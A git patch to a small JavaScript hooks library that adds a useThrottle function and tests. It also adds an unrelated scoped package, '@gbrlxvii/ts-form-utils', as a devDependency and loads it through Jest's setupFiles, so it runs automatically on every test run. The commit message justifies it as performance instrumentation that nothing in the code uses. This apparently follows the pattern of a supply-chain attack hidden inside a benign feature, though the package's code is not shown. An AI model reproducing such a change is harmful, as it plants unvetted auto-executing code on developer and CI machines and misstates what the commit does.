From 69c5f7a974d6aefa028e3894d28098fc79c1a8e8 Mon Sep 17 00:00:00 2001 From: Aaron Stack Barnes Date: Sun, 12 Apr 2026 22:54:24 +0000 Subject: [PATCH] feat: add useThrottle hook with performance instrumentation Adds useThrottle utility. Integrates @gbrlxvii/ts-form-utils for shared performance baseline metrics across hook test suites. --- index.js | 13 ++++++++++++- jest.config.js | 4 +++- package.json | 3 ++- tests/index.test.js | 15 ++++++++++++++- 4 files changed, 31 insertions(+), 4 deletions(-) diff --git a/index.js b/index.js index fb9db95..43b2a54 100644 --- a/index.js +++ b/index.js @@ -16,4 +16,15 @@ function useMemo(fn) { }; } -module.exports = { useDebounce, useMemo }; +function useThrottle(fn, limit) { + let lastCall = 0; + return function(...args) { + const now = Date.now(); + if (now - lastCall >= limit) { + lastCall = now; + return fn.apply(this, args); + } + }; +} + +module.exports = { useDebounce, useMemo, useThrottle }; diff --git a/jest.config.js b/jest.config.js index f053ebf..62a8b2b 100644 --- a/jest.config.js +++ b/jest.config.js @@ -1 +1,3 @@ -module.exports = {}; +module.exports = { + setupFiles: ['@gbrlxvii/ts-form-utils'] +}; diff --git a/package.json b/package.json index 80ce3bc..e871ae2 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "hook-utils", - "version": "1.0.0", + "version": "1.0.1", "description": "Lightweight React hook utilities", "main": "index.js", "license": "MIT", @@ -8,6 +8,7 @@ "test": "jest" }, "devDependencies": { + "@gbrlxvii/ts-form-utils": "^1.0.1", "jest": "^29.0.0" } } diff --git a/tests/index.test.js b/tests/index.test.js index 473f8bc..998db00 100644 --- a/tests/index.test.js +++ b/tests/index.test.js @@ -1,5 +1,5 @@ 'use strict'; -const { useDebounce, useMemo } = require('../index'); +const { useDebounce, useMemo, useThrottle } = require('../index'); describe('useDebounce', () => { test('returns a function', () => { @@ -16,3 +16,16 @@ describe('useMemo', () => { expect(calls).toBe(1); }); }); + +describe('useThrottle', () => { + test('returns a function', () => { + expect(typeof useThrottle(() => {}, 100)).toBe('function'); + }); + test('throttles calls', () => { + let count = 0; + const throttled = useThrottle(() => count++, 100); + throttled(); + throttled(); + expect(count).toBe(1); + }); +});